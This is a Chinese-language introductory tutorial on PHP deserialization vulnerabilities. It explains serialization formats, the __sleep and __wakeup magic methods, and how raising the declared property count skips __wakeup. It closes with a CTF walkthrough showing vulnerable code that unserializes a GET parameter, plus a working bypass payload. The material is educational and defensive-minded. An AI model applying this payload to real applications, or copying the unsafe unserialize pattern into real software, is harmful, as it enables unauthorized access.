PHP反序列化漏洞入門

2020-01-01 20616人圍觀 ,發現 1 個不明物體 WEB安全

序列化和反序列化的概念

序列化就是將一個對象轉換成字符串。字符串包括 屬性名 屬性值 屬性類型和該對象對應的類名。

反序列化則相反將字符串重新恢復成對象

對象的序列化利于對象的保存和傳輸,也可以讓多個文件共享對象。

ctf很多題型也都是考察PHP反序列化的相關知識

PHP的序列化

序列化函數serialize()

首先我創一個Ctf類 里面寫了三個屬性 后創建了一個ctfer對象 將Ctf類里的信息進行了改變。如果后面還要用到這個對象,就可以先將這個對象進行實例化。用的時候在反序列化出來就ok了

O:3:"Ctf":3{s:4:"flag";s:13:"flag{abedyui}";s:4:"name";s:7:"Sch0lar";s:3:"age";s:2:"18";}
O代表對象 因為我們序列化的是一個對象 序列化數組則用A來表示
3 代表類名字占三個字符 
ctf 類名
3 代表三個屬性
s代表字符串
4代表屬性名長度
flag屬性名
s:13:"flag{abedyui}" 字符串 屬性值長度 屬性值

serialize() 函數會檢查類中是否存在一個魔術方法 __sleep()。如果存在,__sleep()方法會先被調用,然后才執行序列化操作。

可以再__sleep()方法里可以決定哪些屬性被序列化

如果沒有__sleep()方法則默認序列化所有屬性

上圖__sleep()方法使flag age 屬性序列化 name并沒有被序列化

訪問控制修飾符

根據訪問控制修飾符的不同 序列化后的 屬性長度和屬性值會有所不同,所以這里簡單提一下

public(公有)
protected(受保護)
private(私有的)

protected屬性被序列化的時候屬性值會變成%00*%00屬性名

private屬性被序列化的時候屬性值會變成%00類名%00屬性名

可能有點難理解 這里我敲一下大家就懂了

O:3:"Ctf":3:{s:4:"name";s:7:"Sch0lar";s:6:"*age";s:2:"19";s:9:"Ctfflag";s:8:"get flag";}

可以看到

s:6:"*age" //*前后出現了兩個%00也就是空白符 一個%00長度為一 所以序列化后 該屬性長度為6
s:9:"Ctfflag" //ctf前后也就是類名前后出現兩個%00 所以長度為9

PHP的反序列化

反序列化函數unserialize()

反序列化就是將一個序列化的字符串,還原回去

與 序列化函數類似 unserialize() 會檢查是否存在一個 __wakeup()魔術方法

如果存在則會先調用__wakeup()方法在進行反序列化

可以再__wakeup()方法中對屬性進行初始化或者改變。

反序列化之前重新給flag屬性賦值

當序列化字符串表示對象屬性個數的值大于真實個數的屬性時就會跳過__wakeup的執行。這個大家應該都知道很常見的姿勢了。為了直觀一點找了些考察反序列化的ctf。

ctf

首先我們本地進行序列化后得到字符串

O:4:"xctf":1:{s:4:"flag";s:3:"111";}

把1寫成2 達到繞過wakeup()效果 拿到flag

找到一個 比較能總結這篇文章的題

看到良好的備份網站習慣

url上直接/www.zip下載了網站源碼

index.php里發現核心代碼

<?php
    include 'class.php';
    $select = $_GET['select'];
    $res=unserialize(@$select);
?>

讀了class.php 發現需要 username=admin 并且 password=100才可以 還有一段核心代碼

function __wakeup(){
        $this->username = 'guest';
}

我們本地進行實例化 序列化

$a = new Name('admin',100);
$b = serialize($a);
print_r($b);

得到序列化后的字符串為

O:4:"Name":2:{s:14:"Nameusername";s:5:"admin";s:14:"Namepassword";i:100;}

代碼中存在 __wakeup前面說過。

當序列化字符串表示對象屬性個數的值大于真實個數的屬性時就會跳過__wakeup的執行。

還有因為我們要通過get方式進行提交 所以%00也必須寫在url上

最終payload為

?select=O:4:"Name":3:{s:14:"%00Name%00username";s:5:"admin";s:14:"%00Name%00password";i:100;}

*本文作者:Sch0lar,轉載請注明來自FreeBuf.COM

相關推薦
發表評論

已有 1 條評論

取消
Loading...

這家伙太懶,還未填寫個人描述!

1 文章數 0 評論數 0 關注者

最近文章

特別推薦

活動預告

填寫個人信息

姓名
電話
郵箱
公司
行業
職位
css.php 微信上那些说赚钱是真的吗